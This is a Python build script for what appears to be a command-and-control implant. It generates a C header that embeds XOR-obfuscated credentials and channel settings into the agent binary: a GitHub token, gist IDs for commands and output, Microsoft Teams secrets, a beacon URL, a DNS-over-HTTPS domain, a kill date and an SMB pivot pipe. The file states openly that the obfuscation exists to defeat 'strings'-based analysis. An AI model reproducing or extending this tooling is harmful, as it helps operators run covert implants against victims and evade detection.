#!/usr/bin/env python3
"""
Generate agent/include/agent_config.h with XOR-obfuscated compile-time credentials.
Usage: python tools/obfuscate.py [config.yaml]
       python tools/obfuscate.py  (reads ../server/config.yaml by default)

The generated header is included by channels/github.c.
Strings are XOR'd with a rolling multi-byte key so `strings agent.exe`
cannot extract them in plaintext.
"""
import sys, os, struct
from datetime import datetime, timezone

# Rolling XOR key — all non-printable bytes, no ASCII substring detectable by strings(1)
XOR_KEY = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
XOR_KEY_LEN = len(XOR_KEY)

# ── Config values to embed ────────────────────────────────────────────────────
# Edit these before calling the script, or pass a config.yaml (parsed below).
VALUES = {
    "GITHUB_TOKEN":   "",
    "GIST_CMD_ID":    "",
    "GIST_OUT_ID":    "",
    "TEAMS_TENANT":   "",
    "TEAMS_CLIENT":   "",
    "TEAMS_SECRET":   "",
    "TEAMS_WEBHOOK":  "",
    "TEAMS_TEAM_ID":  "",
    "TEAMS_CHANNEL":  "",
    "BEACON_URL":     "",
    "DOH_DOMAIN":     "",
    "KILL_DATE":      "",   # Unix timestamp string, "0" = disabled
    "CERT_PIN":       "",   # 64 hex chars (SHA-256 of leaf cert DER), "" = disabled
    "SMB_HOST":       "",   # SMB pivot: hostname or IP, "" = disabled
    "SMB_PIPE":       "",   # SMB pivot: pipe name (no leading backslash)
}


def load_yaml(path: str) -> None:
    """Minimal YAML loader — no external dependency needed."""
    import re
    with open(path) as f:
        text = f.read()

    def get(section, key):
        pat = rf"{section}:\s*\n(?:[ \t]+\S[^\n]*\n)*?[ \t]+{key}:\s*[\"']?([^\"'\n]+)[\"']?"
        m = re.search(pat, text)
        return m.group(1).strip() if m else ""

    VALUES["GITHUB_TOKEN"]   = get("github", "token")
    VALUES["GIST_CMD_ID"]    = get("github", "gist_cmd")
    VALUES["GIST_OUT_ID"]    = get("github", "gist_out")
    VALUES["TEAMS_TENANT"]   = get("teams",  "tenant_id")
    VALUES["TEAMS_CLIENT"]   = get("teams",  "client_id")
    VALUES["TEAMS_SECRET"]   = get("teams",  "client_secret")
    VALUES["TEAMS_WEBHOOK"]  = get("teams",  "webhook_url")
    VALUES["TEAMS_TEAM_ID"]  = get("teams",  "team_id")
    VALUES["TEAMS_CHANNEL"]  = get("teams",  "channel_id")
    VALUES["BEACON_URL"]     = get("http",   "beacon_url")
    VALUES["CERT_PIN"]       = get("http",   "cert_pin")
    VALUES["DOH_DOMAIN"]     = get("doh",    "domain")
    VALUES["SMB_HOST"]       = get("smb",    "host")
    VALUES["SMB_PIPE"]       = get("smb",    "pipe")

    kd_raw = get("agent", "killdate")   # "YYYY-MM-DD" or empty
    if kd_raw:
        try:
            dt = datetime.strptime(kd_raw, "%Y-%m-%d").replace(tzinfo=timezone.utc)
            VALUES["KILL_DATE"] = str(int(dt.timestamp()))
        except ValueError:
            print(f"[warn] killdate '{kd_raw}' not in YYYY-MM-DD format — ignored",
                  file=sys.stderr)
            VALUES["KILL_DATE"] = "0"
    else:
        VALUES["KILL_DATE"] = "0"


def xor_encode(s: str) -> list[int]:
    data = s.encode()
    return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]


def emit_array(name: str, value: str) -> str:
    if not value:
        return f"/* {name}: not configured */\nstatic const unsigned char CFG_{name}[] = {{0x00}};\n#define CFG_{name}_LEN 0\n"
    enc = xor_encode(value)
    arr = ", ".join(f"0x{b:02x}" for b in enc)
    preview = value[:32] + ("…" if len(value) > 32 else "")
    lines = [
        f"/* {name} — XOR-encoded ({len(enc)} bytes) */",
        f"/* plaintext preview: {preview!r} */",
        f"static const unsigned char CFG_{name}[] = {{{arr}, 0x00}};",
        f"#define CFG_{name}_LEN {len(enc)}",
        "",
    ]
    return "\n".join(lines)


def main():
    yaml_path = sys.argv[1] if len(sys.argv) > 1 else \
        os.path.join(os.path.dirname(__file__), "..", "..", "server", "config.yaml")

    if os.path.exists(yaml_path):
        load_yaml(yaml_path)
    else:
        print(f"[warn] config.yaml not found at {yaml_path} — using empty values", file=sys.stderr)

    key_hex = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
    header = f"""\
/* AUTO-GENERATED by tools/obfuscate.py — do not edit manually.
 * Re-run: python tools/obfuscate.py [../server/config.yaml]
 * XOR key (rolling {XOR_KEY_LEN} bytes): {{ {key_hex} }}
 */
#ifndef AGENT_CONFIG_H
#define AGENT_CONFIG_H

#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};

"""

    for name, value in VALUES.items():
        header += emit_array(name, value)

    header += "\n#endif /* AGENT_CONFIG_H */\n"

    out_path = os.path.join(os.path.dirname(__file__), "..", "include", "agent_config.h")
    with open(out_path, "w") as f:
        f.write(header)

    print(f"[ok] wrote {out_path}")
    for k, v in VALUES.items():
        status = f"({len(v)} chars)" if v else "EMPTY"
        print(f"     {k:<20} {status}")


if __name__ == "__main__":
    main()
